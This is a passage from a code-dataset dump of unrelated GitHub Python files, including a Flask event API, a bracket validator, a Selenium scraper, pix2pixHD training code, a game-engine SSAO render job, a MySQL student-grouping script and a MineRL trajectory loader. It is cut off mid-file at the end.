json.dumps(data)\n\n@app.route('/api/v4/androidevent', methods=['POST',])\ndef android():\n if request.method== \"POST\":\n app_info ={}\n buildnumber = request.args.get('buildnumber')\n app_id = request.args.get('app_id')\n app_info['buildnumber'] = buildnumber\n app_info['app_id'] = app_id\n print(app_info)\n try:\n data = request.get_json(force=True)\n headers = json.dumps(dict(request.headers))\n data_b = json.dumps(dict(data))\n datas = json.loads(data_b)\n print(datas['sdk'])\n print(headers,type(headers))\n t_clean_json(datas,headers,app_info)\n return json.dumps({\"status\": 200, \"result\": 300})\n except Exception as e:\n print(e)\n return json.dumps({\"status\": 500, \"message\": \"用户信息加载失败\"})\n\n\n@app.route('/api/trace_log',methods=['POST','GET'])\ndef trace_log():\n try:\n data = request.get_json(force=True)\n track_logs(data)\n return json.dumps({\"status\": 200, \"result\": 300})\n except Exception as e:\n print(e)\n return json.dumps({\"status\": 500, \"message\": \"用户信息加载失败\"})\n\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port='5001', debug=False)\n","repo_name":"zoujiangtao159/ads","sub_path":"appsflyer_t/appsflyer_t.py","file_name":"appsflyer_t.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13359821133","text":"def validate_brackets(string):# define methods which called validate_brackets and has one arguments it's type \"string\" \n\n list = [] # define empty_list \n list_opening_brackets = [\"(\", \"[\", \"{\"] #define list for opening brackets\n list_closing_brackets = [\")\", \"]\", \"}\"]#define list for opening brackets\n bracket_pairs = {\"(\": \")\", \"[\": \"]\", \"{\": \"}\"} #define dictionary for opening brackets and closing brackets \n\n for char in string: # this for loop to look up into every elemnts in string arguemnts ,, Notice thate python treat with string like list which means any string has {index and values} \n if char in list_opening_brackets: # check if this char in list of opening bracktes then {append} it in list var\n list.append(char)\n elif char in list_closing_brackets: # check if this char in closing list if is it in closing list then ??\n if not list: # check if empty list returnes false \n return False\n last_opening_bracket = list.pop() # else pop first char from list\n if bracket_pairs[last_opening_bracket] != char: # comparing between char and list elemnts if not equals each others returnes false \n return False\n\n return len(list) == 0 # to check if there any remaining bracket in list\n\n\n\nprint(validate_brackets(\"{}\")) # True\nprint(validate_brackets(\"{}(){}\")) # True\nprint(validate_brackets(\"()[[Extra Characters]]\")) # True\nprint(validate_brackets(\"(){}[[]]\")) # True\nprint(validate_brackets(\"{}{Code}[Fellows](())\")) # True\nprint(validate_brackets(\"[({}]\")) # False\nprint(validate_brackets(\"(](\")) # False\nprint(validate_brackets(\"{(})\")) # False\n","repo_name":"doaamelhem96/data-structures-and-algorithms","sub_path":"stack_queuebracket/brackets.py","file_name":"brackets.py","file_ext":"py","file_size_in_byte":1672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24727736823","text":"\"\"\"Tests for sample\"\"\"\nimport pytest\n\nimport module_example\n\n\ndef test_main() -> None:\n \"\"\"Main test\"\"\"\n assert module_example.main()\n\n\n@pytest.mark.parametrize(\n (\"value_in\", \"expected\"),\n (\n (2, 4),\n (4, 16),\n (16, 256),\n ),\n)\ndef test_squared(value_in: int, expected: int) -> None:\n assert module_example.squared(value_in) == expected\n","repo_name":"Preocts/python-module-template","sub_path":"tests/sample_test.py","file_name":"sample_test.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"1218436273","text":"import sys\n\nfrom program.utils.libs.upload_youtube_selenium import YouTubeUploader\n\n\ndef start():\n cookie_dir = sys.argv[1:][0]\n print(f\"Starting bulk reply {cookie_dir}\")\n youtube_uploader = YouTubeUploader(True, cookie_dir)\n\n youtube_uploader.bulk_comments_reply()\n\n youtube_uploader.quit()\n print(f\"Finished bulk reply {cookie_dir}\")\n\n\nstart()\n","repo_name":"danfleser/tiktok-videos-to-youtube-uploader","sub_path":"program/bulk_comment_reply_youtube_channel.py","file_name":"bulk_comment_reply_youtube_channel.py","file_ext":"py","file_size_in_byte":365,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"32"} +{"seq_id":"13321267955","text":"import os\nfrom configparser import ConfigParser\n\n\nclass Configuration:\n\n @staticmethod\n def getSection(section):\n\n #Create confituration partser object\n configParser = ConfigParser()\n\n #Read configuration file\n configParser.read(os.path.dirname(__file__) + \"/config\")\n\n #Return section values\n return(dict(configParser.items(section)))","repo_name":"cjmsousa/arch","sub_path":"src/configuration/configuration.py","file_name":"configuration.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"29979504527","text":"\ndef rank(lst):\n a = sorted(lst)\n vektor = []\n for i in range(0,len(a)):\n if a.count(a[i]) > 1:\n vektor.append(sum([y for y in range(0,len(a)) if a[y] == a[i]])/a.count(a[i]))\n else:\n vektor.append(float(i))\n result = []\n for i in lst:\n result.append(vektor[a.index(i)])\n return result\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"dFosbGy8sFFCEx2Ne_6.py","file_name":"dFosbGy8sFFCEx2Ne_6.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72868868252","text":"import json\n\nfrom axbotpy.common.mixins import DictConvertMixin\n\nfrom .actions import MoveActionState\n\n\nclass PlanningState(DictConvertMixin):\n \"\"\"\n Mostly, the state of the current move.\n \"\"\"\n\n def __init__(self, obj: dict = None) -> None:\n self.action_id = -1\n self.remaining_distance = 0\n self.move_state = MoveActionState.IDLE\n self.in_elevator = False\n\n super().__init__(obj)\n","repo_name":"AutoxingTech/axbot_py_sdk","sub_path":"src/axbotpy/planning/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"43409881155","text":"from selenium import webdriver\n\ndriver = webdriver.Chrome(executable_path=\"C:\\\\Users\\\\rodri\\\\Downloads\\\\driver\\\\chromedriver_win32\\\\chromedriver\")\n\ndriver.get(\"file:///C:/Users/rodri/Desktop/seleniumpractice.html\")\n\nlinhas = len(driver.find_elements_by_xpath(\"/html/body/table/tbody/tr\")) #conta o numero de linhas\ncolunas = len(driver.find_elements_by_xpath(\"/html/body/table/tbody/tr[1]/th\")) #conta o numero de colunas\n\nprint(\"Quantidade de \", linhas)\nprint(\"Quantidade de \", colunas)\nprint(\"Product\", \" \", \"Article\",\" \", \"Price\")\n\nfor l in range(2, linhas+1):\n for c in range(1, colunas+1):\n value = driver.find_element_by_xpath(\"/html/body/table/tbody/tr[\"+str(l)+\"]/td[\"+str(c)+\"]\").text\n print(value, end=' ')\n print()\n","repo_name":"leticialuna/SeleniumWithPython","sub_path":"Scripts/Data_Table.py","file_name":"Data_Table.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"12981921865","text":"import os\nimport numpy as np\nimport argparse\nimport cv2\nimport random\nimport importlib\n\nimport oneflow as flow\nimport oneflow.typing as tp\n\nimport util.util as util\nimport util.image_pool as image_pool\n\nfrom models.vgg16_model import VGGLoss\n\nfrom data.aligned_dataset import AlignedDataset\nfrom options.train_options import TrainOptions\n\nopt = TrainOptions().parse()\n\nnetworks = importlib.import_module(opt.network_module)\n\ndevice_type = \"gpu\" if opt.gpu_nums > 0 else \"cpu\"\nif device_type == \"gpu\":\n flow.config.gpu_device_num(opt.gpu_nums)\n\nflow.env.init()\nfunc_config = flow.FunctionConfig()\nfunc_config.default_data_type(flow.float)\nfunc_config.default_logical_view(flow.scope.consistent_view())\nfunc_config.default_placement_scope(flow.scope.placement(\"gpu\", \"0:0\"))\n\n# load dataset\ndataset = AlignedDataset()\nprint(\"dataset [%s] was created\" % (dataset.name()))\ndataset.initialize(opt)\n\nbatch, channel, height, width = dataset[0][\"image\"].shape\n\nlabel_class_num = opt.label_nc\nif not opt.no_instance:\n label_class_num += 1\nimage_channel = opt.input_nc\n\n@flow.global_function(\"train\", func_config)\ndef TrainDiscriminator(\n real_image: tp.Numpy.Placeholder((opt.batchSize, image_channel + label_class_num, height, width), dtype = flow.float32),\n fake_image_pool: tp.Numpy.Placeholder((opt.batchSize, image_channel + label_class_num, height, width), dtype = flow.float32)):\n # Calculate GAN loss for discriminator\n # Fake Detection and Loss\n pred_fake_pool = networks.MultiscaleDiscriminator(fake_image_pool, ndf=opt.ndf, n_layers=opt.n_layers_D, norm_type=opt.norm,\n use_sigmoid=False, num_D=opt.num_D, trainable=True, reuse=True)\n \n loss_D_fake = networks.GANLoss(pred_fake_pool, False)\n\n # Real Detection and Loss\n pred_real = networks.MultiscaleDiscriminator(real_image, ndf=opt.ndf, n_layers=opt.n_layers_D, norm_type=opt.norm,\n use_sigmoid=False, num_D=opt.num_D, trainable=True, reuse=True)\n \n loss_D_real = networks.GANLoss(pred_real, True)\n\n # Combined loss and calculate gradients\n loss_D = (loss_D_fake + loss_D_real) * 0.5\n\n flow.optimizer.Adam(flow.optimizer.PiecewiseConstantScheduler([], [opt.lr]), beta1=opt.beta1).minimize(loss_D)\n\n return loss_D\n\n\n@flow.global_function(\"train\", func_config)\ndef TrainGenerators(\n label: tp.Numpy.Placeholder((opt.batchSize, label_class_num, height, width), dtype = flow.float32),\n image: tp.Numpy.Placeholder((opt.batchSize, image_channel, height, width), dtype = flow.float32),):\n fake_image = networks.define_G(label, opt.output_nc, opt.ngf, opt.netG,\n n_downsample_global=opt.n_downsample_global, n_blocks_global=opt.n_blocks_global,\n n_blocks_local=opt.n_blocks_local, norm_type=opt.norm, trainable=True, reuse=True)\n\n # GAN loss (Fake Passability Loss)\n fake_image_concat_label = flow.concat([label, fake_image], axis=1)\n pred_fake = networks.MultiscaleDiscriminator(fake_image_concat_label, ndf=opt.ndf, n_layers=opt.n_layers_D, norm_type=opt.norm,\n use_sigmoid=False, num_D=opt.num_D, trainable=False, reuse=True)\n loss_G_GAN = networks.GANLoss(pred_fake, True)\n\n real_image_concat_label = flow.concat([label, image], axis=1)\n\n pred_real = networks.MultiscaleDiscriminator(real_image_concat_label, ndf=opt.ndf, n_layers=opt.n_layers_D, norm_type=opt.norm,\n use_sigmoid=False, num_D=opt.num_D, trainable=False, reuse=True)\n \n # GAN feature matching loss\n loss_G_GAN_Feat = 0\n feat_weights = 4.0 / (opt.n_layers_D + 1)\n D_weights = 1.0 / opt.num_D\n weight = D_weights * feat_weights * opt.lambda_feat\n for i in range(opt.num_D):\n for j in range(len(pred_fake[i])-1):\n loss_G_GAN_Feat = flow.nn.L1Loss(pred_fake[i][j], pred_real[i][j]) + loss_G_GAN_Feat \n\n # combined loss and calculate gradients\n loss_G = loss_G_GAN + loss_G_GAN_Feat * weight\n\n if not opt.no_vgg_loss:\n loss_G = loss_G + VGGLoss(fake_image, image) * opt.lambda_feat\n\n flow.optimizer.Adam(flow.optimizer.PiecewiseConstantScheduler([], [opt.lr]), beta1=opt.beta1).minimize(loss_G)\n\n return fake_image, fake_image_concat_label, real_image_concat_label, loss_G\n\n\nfake_pool = image_pool.ImagePool(opt.pool_size)\nepoch = 1000\ndataset_len = len(dataset)\n\n\nif opt.load_pretrain != \"\":\n flow.load_variables(flow.checkpoint.get(opt.load_pretrain))\n\nfor e in range(epoch):\n e = e + 0\n for i in range(dataset_len):\n data_dict = dataset[i]\n\n label_one_hot_encoding = np.zeros((batch, opt.label_nc, height, width), dtype=np.float)\n util.scatter(label_one_hot_encoding, 1, data_dict['label'].astype(np.int32), 1)\n \n label_nd = label_one_hot_encoding\n if not opt.no_instance:\n edge_nd = util.get_inst_map_edge(data_dict[\"inst\"].astype(np.int32))\n label_nd = np.concatenate((label_nd, edge_nd.astype(np.float)), axis = 1)\n \n fake_image, fake_image_concat_label, real_image_concat_label, loss_G = TrainGenerators(label_nd, data_dict[\"image\"]).get()\n \n fake_image_pool = fake_pool.query(fake_image_concat_label.numpy())\n loss_D = TrainDiscriminator(real_image_concat_label.numpy(), fake_image_pool).get()\n print(\"epoch %d, iter %d, GL_oss: \" % (e, i), loss_G.numpy(), \"D_Loss: \", loss_D.numpy())\n\n if i % 5 == 0:\n real = util.tensor2im(data_dict['image'][0])\n fake = util.tensor2im(fake_image.numpy()[0])\n label = util.onehot2label(label_one_hot_encoding[0], opt.label_nc)\n out = np.concatenate((label, fake, real), axis = 0)\n cv2.imwrite(opt.train_tmp_result, out)\n\n if i % 300 == 0:\n flow.checkpoint.save(\"%s/epoch_%d_iter_%i_Gloss_%f_Dloss_%f\" % (opt.checkpoints_dir, e, i, loss_G.numpy()[0], loss_D.numpy()[0]))\n","repo_name":"Oneflow-Inc/oneflow_imaginaire","sub_path":"pix2pixHD/train_of_pix2pixhd.py","file_name":"train_of_pix2pixhd.py","file_ext":"py","file_size_in_byte":6020,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"32"} +{"seq_id":"33640029803","text":"#Embedded file name: c:\\depot\\games\\branches\\release\\EVE-TRANQUILITY\\carbon\\common\\lib\\trinity\\renderSSAOJob.py\nimport trinity\nimport bluepy\nimport random\nimport struct\nimport math\nSSAO_USE_NORMAL = 0\nSSAO_NORMAL_FREE = 1\nSSAO_HALF_RES_AO = 0\nSSAO_FULL_RES_AO = 1\n\nclass SSAOOptions:\n strength = 1\n radius = 3\n angleBias = 0\n radialAttenuation = 1\n randomTextureWidth = 4\n powerExponent = 1\n fogDistOfHalfStrength = 500\n fogAmount = 0\n shaderType = SSAO_NORMAL_FREE\n resolutionMode = SSAO_HALF_RES_AO\n numDirections = 6\n numSteps = 6\n maxFootprintRadius = 0.05\n blurRadius = 16\n blurSharpness = 5\n disableBlending = True\n\n\ndef GetSSAOCallbackStep(options, width, height, shaderSSAO, linearizeDepth, linearizeDepthAndPackAODepth):\n if options.resolutionMode == SSAO_HALF_RES_AO:\n downsampleFactor = 2.0\n else:\n downsampleFactor = 1.0\n aoWidth = width / downsampleFactor\n aoHeight = height / downsampleFactor\n\n def Callback():\n fovY = trinity.GetFieldOfView()\n focalLen = (1.0 / math.tan(fovY * 0.5) * aoHeight / aoWidth, 1.0 / math.tan(fovY * 0.5))\n invFocalLen = (1.0 / focalLen[0], 1.0 / focalLen[1])\n focalLengthParams = (focalLen[0],\n focalLen[1],\n invFocalLen[0],\n invFocalLen[1])\n shaderSSAO.parameters['FocalLengthParams'].value = focalLengthParams\n zNear = trinity.GetFrontClip()\n zFar = trinity.GetBackClip()\n if zNear > 0 and zFar > 0:\n linA = 1.0 / zFar - 1.0 / zNear\n linB = 1.0 / zNear\n else:\n linA = 0.0\n linB = 0.0\n linearizeDepth.parameters['MiscParams'].z = linA\n linearizeDepth.parameters['MiscParams'].w = linB\n linearizeDepthAndPackAODepth.parameters['MiscParams'].z = linA\n linearizeDepthAndPackAODepth.parameters['MiscParams'].w = linB\n shaderSSAO.parameters['MiscParams'].z = linA\n shaderSSAO.parameters['MiscParams'].w = linB\n\n return Callback\n\n\ndef CreateMaterial(situation):\n material = trinity.Tr2ShaderMaterial()\n material.highLevelShaderName = 'SSAO'\n material.defaultSituation = situation\n return material\n\n\ndef SetMaterialConstants(options, width, height, linearizeDepth, linearizeDepthAndPackAODepth, blurX, blurY, shaderSSAO, randomTexture):\n if options.resolutionMode == SSAO_HALF_RES_AO:\n downsampleFactor = 2.0\n else:\n downsampleFactor = 1.0\n aoWidth = width / downsampleFactor\n aoHeight = height / downsampleFactor\n angleBiasRad = options.angleBias * math.pi / 180 + 1e-05\n aoResolution = (aoWidth, aoHeight)\n invAOResolution = (1.0 / aoWidth, 1.0 / aoHeight)\n aoResolutionParams = (aoResolution[0],\n aoResolution[1],\n invAOResolution[0],\n invAOResolution[1])\n focalLengthParams = (1, 1, 1, 1)\n numDirs = (options.numDirections + 1) / 2 * 2\n numSteps = options.numSteps\n tanAngleBias = math.tan(angleBiasRad)\n angleBias = angleBiasRad\n directionParams = (numDirs,\n numSteps,\n tanAngleBias,\n angleBias)\n r = options.radius\n sqrR = options.radius * options.radius\n invR = 1.0 / options.radius\n aspectRatio = aoHeight / aoWidth\n scaleParams = (r,\n sqrR,\n invR,\n aspectRatio)\n fullResolution = (width, height)\n invFullResolution = (1.0 / width, 1.0 / height)\n resolutionParams = (fullResolution[0],\n fullResolution[1],\n invFullResolution[0],\n invFullResolution[1])\n blurSigma = (options.blurRadius + 1.0) * 0.5\n halfBlurRadius = options.blurRadius * 0.5\n blurRadius = options.blurRadius\n blurSharpness = 1.44269504 * (options.blurSharpness * options.blurSharpness)\n blurFalloff = 1.44269504 / (2.0 * blurSigma * blurSigma)\n blurParams = (halfBlurRadius,\n blurRadius,\n blurSharpness,\n blurFalloff)\n deltaZ = options.fogDistOfHalfStrength - 1.0\n invRandTexSize = 1.0 / randomTexture.width\n fogK = 1.0 / (deltaZ * deltaZ)\n fogAmount = min(max(options.fogAmount, 0), 1)\n attenuation = options.radialAttenuation\n fogParams = (invRandTexSize,\n fogK,\n fogAmount,\n attenuation)\n powExponent = options.powerExponent\n contrast = options.strength / (1 - math.sin(angleBiasRad))\n miscParams = (powExponent,\n contrast,\n 0,\n 0)\n maxFootprintUV = min(options.maxFootprintRadius, 0.05)\n maxFootprintPixels = min(options.maxFootprintRadius, 0.05) * aoWidth\n filterParams = (maxFootprintUV,\n maxFootprintPixels,\n 0,\n 0)\n AddMaterialParam(linearizeDepth, 'MiscParams', miscParams)\n AddMaterialParam(linearizeDepthAndPackAODepth, 'MiscParams', miscParams)\n AddMaterialParam(blurX, 'ResolutionParams', resolutionParams)\n AddMaterialParam(blurX, 'BlurParams', blurParams)\n AddMaterialParam(blurY, 'ResolutionParams', resolutionParams)\n AddMaterialParam(blurY, 'BlurParams', blurParams)\n AddMaterialParam(blurY, 'FogParams', fogParams)\n AddMaterialParam(blurY, 'MiscParams', miscParams)\n AddMaterialParam(blurY, 'FilterParams', filterParams)\n AddMaterialParam(shaderSSAO, 'AOResolutionParams', aoResolutionParams)\n AddMaterialParam(shaderSSAO, 'FocalLengthParams', focalLengthParams)\n AddMaterialParam(shaderSSAO, 'DirectionParams', directionParams)\n AddMaterialParam(shaderSSAO, 'ScaleParams', scaleParams)\n AddMaterialParam(shaderSSAO, 'ResolutionParams', resolutionParams)\n AddMaterialParam(shaderSSAO, 'BlurParams', blurParams)\n AddMaterialParam(shaderSSAO, 'FogParams', fogParams)\n AddMaterialParam(shaderSSAO, 'MiscParams', miscParams)\n AddMaterialParam(shaderSSAO, 'FilterParams', filterParams)\n\n\ndef AddMaterialParam(material, name, value):\n if type(value) == trinity.TriTextureRes:\n param = trinity.TriTexture2DParameter()\n param.name = name\n param.SetResource(value)\n elif type(value) == trinity.Tr2RenderTarget:\n param = trinity.TriTexture2DParameter()\n param.name = name\n t = trinity.TriTextureRes(value)\n param.SetResource(t)\n elif type(value) == trinity.Tr2DepthStencil:\n param = trinity.TriTexture2DParameter()\n param.name = name\n t = trinity.TriTextureRes(value)\n param.SetResource(t)\n else:\n param = trinity.Tr2Vector4Parameter()\n param.name = name\n param.value = value\n material.parameters[name] = param\n\n\ndef CreateRandomTexture(options):\n randomBitmap = trinity.Tr2HostBitmap(options.randomTextureWidth, options.randomTextureWidth, 1, trinity.PIXEL_FORMAT.R32G32B32A32_FLOAT)\n data = randomBitmap.GetRawData()\n values = []\n dataFormat = ''\n for i in range(options.randomTextureWidth * options.randomTextureWidth):\n angle = 2.0 * math.pi * random.random() / options.numDirections\n values.append(math.sin(angle))\n values.append(math.cos(angle))\n values.append(random.random())\n values.append(random.random())\n dataFormat += 'ffff'\n\n struct.pack_into(dataFormat, data[0], 0, *values)\n randomTexture = trinity.TriTextureRes()\n randomTexture.CreateFromHostBitmap(randomBitmap)\n return randomTexture\n\n\ndef AddStep(rj, name, step):\n step.name = name\n rj.steps.append(step)\n\n\ndef CreateSsaoRenderJob(options, width, height, outputRT):\n randomTexture = CreateRandomTexture(options)\n if not randomTexture.isGood:\n return\n linearizeDepth = CreateMaterial('linearizeDepth')\n shaderSSAO = CreateMaterial('normalFree useNormals')\n linearizeDepthAndPackAODepth = CreateMaterial('linearizeDepthAndPack')\n blurX = CreateMaterial('blurX')\n if not options.disableBlending:\n blurY = CreateMaterial('blurY blend')\n else:\n blurY = CreateMaterial('blurY')\n SetMaterialConstants(options, width, height, linearizeDepth, linearizeDepthAndPackAODepth, blurX, blurY, shaderSSAO, randomTexture)\n curHistoryAOZRT = trinity.Tr2RenderTarget(width, height, 1, trinity.PIXEL_FORMAT.R16G16_FLOAT)\n fullResAOZRT = trinity.Tr2RenderTarget(width, height, 1, trinity.PIXEL_FORMAT.R16G16_FLOAT)\n if options.resolutionMode == SSAO_HALF_RES_AO:\n linDepthRT = trinity.Tr2RenderTarget(width / 2, height / 2, 1, trinity.PIXEL_FORMAT.R32_FLOAT)\n halfResAORT = trinity.Tr2RenderTarget(width / 2, height / 2, 1, trinity.PIXEL_FORMAT.R8_UNORM)\n outputAOZ = halfResAORT\n else:\n linDepthRT = trinity.Tr2RenderTarget(width, height, 1, trinity.PIXEL_FORMAT.R32_FLOAT)\n outputAOZ = curHistoryAOZRT\n AddMaterialParam(shaderSSAO, 'DepthMap', linDepthRT)\n AddMaterialParam(shaderSSAO, 'RandomMap', randomTexture)\n if options.resolutionMode == SSAO_HALF_RES_AO:\n AddMaterialParam(linearizeDepthAndPackAODepth, 'SSAOMap', halfResAORT)\n AddMaterialParam(blurX, 'SSAOMap', curHistoryAOZRT)\n AddMaterialParam(blurY, 'SSAOMap', fullResAOZRT)\n linearizeDepth.BindLowLevelShader([])\n shaderSSAO.BindLowLevelShader([])\n linearizeDepthAndPackAODepth.BindLowLevelShader([])\n blurX.BindLowLevelShader([])\n blurY.BindLowLevelShader([])\n rj = trinity.TriRenderJob()\n AddStep(rj, 'SAVE_DS', trinity.TriStepPushDepthStencil(None))\n AddStep(rj, 'SAVE_RT', trinity.TriStepPushRenderTarget())\n cb = GetSSAOCallbackStep(options, width, height, shaderSSAO, linearizeDepth, linearizeDepthAndPackAODepth)\n AddStep(rj, 'UPDATE_CONSTANTS', trinity.TriStepPythonCB(cb))\n AddStep(rj, 'SET_FULLSCREEN_STATES', trinity.TriStepSetStdRndStates(trinity.RM_FULLSCREEN))\n AddStep(rj, 'SET_LINEAR_DEPTH_RT', trinity.TriStepSetRenderTarget(linDepthRT))\n AddStep(rj, 'LINEARIZE_DEPTH', trinity.TriStepRenderFullScreenShader(linearizeDepth))\n AddStep(rj, 'SET_AO_RT', trinity.TriStepSetRenderTarget(outputAOZ))\n AddStep(rj, 'RENDER_AO', trinity.TriStepRenderFullScreenShader(shaderSSAO))\n if options.resolutionMode == SSAO_HALF_RES_AO:\n AddStep(rj, 'SET_TEMP_AO_RT', trinity.TriStepSetRenderTarget(curHistoryAOZRT))\n AddStep(rj, 'PACK_DEPTH_AND_AO', trinity.TriStepRenderFullScreenShader(linearizeDepthAndPackAODepth))\n AddStep(rj, 'SET_FULL_AO_RT', trinity.TriStepSetRenderTarget(fullResAOZRT))\n AddStep(rj, 'BLUR_X', trinity.TriStepRenderFullScreenShader(blurX))\n if outputRT is None:\n AddStep(rj, 'RESTORE_RT', trinity.TriStepPopRenderTarget())\n else:\n AddStep(rj, 'SET_OUTPUT_RT', trinity.TriStepSetRenderTarget(outputRT))\n AddStep(rj, 'BLUR_Y', trinity.TriStepRenderFullScreenShader(blurY))\n if outputRT:\n AddStep(rj, 'RESTORE_RT', trinity.TriStepPopRenderTarget())\n AddStep(rj, 'RESTORE_DS', trinity.TriStepPopDepthStencil())\n return rj","repo_name":"alexcmd/eve","sub_path":"eve-8.21.494548/lib/carbonlib/trinity/renderSSAOJob.py","file_name":"renderSSAOJob.py","file_ext":"py","file_size_in_byte":10637,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"32"} +{"seq_id":"16236730306","text":"import mysql.connector\nimport random\nimport string\n\n\nmydb = mysql.connector.connect(\n host=\"localhost\",\n user=\"florian\",\n password=\"florian038\",\n database=\"namesDB\",\n)\n\nmycursor = mydb.cursor()\nmycursor.execute(\"DROP TABLE apprenantgroupe\")\nmycursor.execute(\"DROP TABLE groupe\")\nmycursor.execute(\"CREATE TABLE IF NOT EXISTS groupe (id_groupe INT AUTO_INCREMENT PRIMARY KEY, nom_groupe VARCHAR(80) not null, id_brief int, CONSTRAINT id_brief FOREIGN KEY (id_brief) REFERENCES brief (id_brief) ON DELETE CASCADE)\")\nmycursor.execute(\"CREATE TABLE IF NOT EXISTS apprenantgroupe (id_apprenant INT, id_groupe INT , PRIMARY KEY (id_apprenant, id_groupe), FOREIGN KEY (id_apprenant) REFERENCES apprenant (id_apprenant), FOREIGN KEY (id_groupe) REFERENCES groupe (id_groupe))\")\n\nmydb.commit()\n\n\n\nmycursor = mydb.cursor()\n\nmycursor.execute(\"SELECT id_brief, nom_brief, n_omes FROM brief\")\nbrief_list = mycursor.fetchall()\n\nmycursor.execute(\"SELECT prenom, nom FROM apprenant\")\n\ngroups_list = mycursor.fetchall()\n\n### fonction qui génère les n-binômes pour une liste d'élèves et n en paramètres.\ndef creategroupe(groups_lis, nbr_by_groupe):\n newlist = []\n for i in range(1, len(groups_lis)//nbr_by_groupe):\n binome = random.sample(groups_lis, nbr_by_groupe)\n for j in binome:\n groups_lis.remove(j)\n newlist.append(binome) \n newlist.append(groups_lis)\n return newlist \n#creategroupe(groups_list, 4)\n\n### fonction qui génère une chaîne aléatoire pour générés des noms de groupe\ndef namealeatoire():\n \"\"\"Générer une chaîne aléatoire de longueur fixée ici à 10\"\"\"\n str = string.ascii_lowercase\n return ''.join(random.choice(str) for i in range(10))\n \nprint (\"La chaine aleatoire est :\", namealeatoire() )\n\n\n\n######### insertion table groupe et apprenant_groupe \nfor brief in brief_list:\n brief_id = brief[0]\n brief_name = brief[1]\n brief_nb = brief[2] \n mycursor.execute(\"SELECT prenom, nom FROM apprenant\")\n groups_list = mycursor.fetchall()\n newlist = []\n \n for i in range(1, len(groups_list)//brief[2]):\n binome = random.sample(groups_list, brief[2] )\n for j in binome:\n groups_list.remove(j)\n newlist.append(binome) \n newlist.append(groups_list)\n \n print(f\" Pour le brief {brief_id}, les groupes sont les suivants: {newlist} \")\n\n\n#### parcours les briefs pour créer les groupes selon les nomes\nfor brief in brief_list:\n brief_id = brief[0]\n brief_name = brief[1]\n brief_nb = brief[2] \n mycursor.execute(\"SELECT id_apprenant, prenom, nom FROM apprenant\")\n groups_list = mycursor.fetchall()\n newlist = []\n newlist = creategroupe(groups_list, brief[2])\n \n \n #### itération sur chaque élément de liste pour chaque brief\n for groupe in newlist:\n print(groupe)\n print(f\" Pour le brief {brief_id}, les groupes sont les suivants: {groupe} \")\n\n name_groupe = namealeatoire()\n print(name_groupe)\n\n \n ######Insertion des noms de groupe dans groupe avec l'id brief associé \n\n sql_groupe = \"INSERT INTO groupe (nom_groupe, id_brief) VALUES (%s, %s)\"\n val_groupe = [\n (name_groupe,brief[0]),\n ]\n mycursor.executemany(sql_groupe, val_groupe)\n mydb.commit()\n\n ###récupération id groupe\n sl3 = \"SELECT id_groupe FROM groupe WHERE nom_groupe = %s\"\n sl33 = (name_groupe,) ####pourquoi virgule ok, surtout enlever à l'affichage\n mycursor.execute(sl3, sl33)\n idgroup = mycursor.fetchall()\n for idg in idgroup:\n print(idg)\n #print(f\"donc pour le groupe {name_groupe}, {id}, {name}\")\n\n ###Insertion des valeurs, table associative id apprenant id groupe\n for name in groupe:\n print(f\"{name[0]} fait parti du groupe {idg[0]}\")\n sl2 = \"INSERT INTO apprenantgroupe (id_apprenant, id_groupe) VALUES (%s, %s)\"\n valsl2 = [\n (name[0],idg[0]),\n ]\n mycursor.executemany(sl2, valsl2)\n mydb.commit()\n\n","repo_name":"Flobrt/YAB---Backend---Django","sub_path":"groups/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":4163,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"70651660891","text":"from collections import defaultdict\nfrom time import sleep\n\nimport gym\nimport minerl\nfrom typing import List\n\nfrom utils.fake_env import FakeEnv\nfrom utils.config_validation import Action, Subtask\n\n\nclass TrajectoryInformation:\n def __init__(self, env_name='MineRLObtainIronPickaxeDense-v0', data_dir='demonstrations/',\n trajectory_name='v3_rigid_mustard_greens_monster-11_878-4825'):\n data = minerl.data.make(env_name, data_dir)\n trajectory = data.load_data(stream_name=trajectory_name)\n\n self.name = trajectory_name\n\n current_states, actions, rewards, next_states, dones = [], [], [], [], []\n for current_state, action, reward, next_state, done in trajectory:\n current_states.append(current_state)\n actions.append(action)\n rewards.append(reward)\n next_states.append(next_state)\n dones.append(done)\n\n self.trajectory = (current_states, actions, rewards, next_states, dones)\n\n self.reward = int(sum(rewards))\n self.length = len(rewards)\n\n if 'Treechop' in env_name:\n self.subtasks = [Subtask(item_name='log', item_count=self.reward, start_idx=0, end_idx=len(current_states))]\n self.trajectory_by_subtask = {'log': self.trajectory}\n else:\n self.subtasks = self.extract_subtasks(self.trajectory)\n self.trajectory_by_subtask = self.slice_trajectory_by_item(self.extract_subtasks(self.trajectory, compress_items=False))\n\n def slice_trajectory_by_item(self, subtasks, minimal_length=4, fix_done=True, scale_rewards=True):\n\n states, actions, rewards, next_states, dones = self.trajectory\n\n sliced_states = defaultdict(list)\n sliced_actions = defaultdict(list)\n sliced_rewards = defaultdict(list)\n sliced_next_states = defaultdict(list)\n sliced_dones = defaultdict(list)\n\n result = defaultdict(list)\n\n for subtask in subtasks:\n # skip short ones\n if subtask.end_idx - 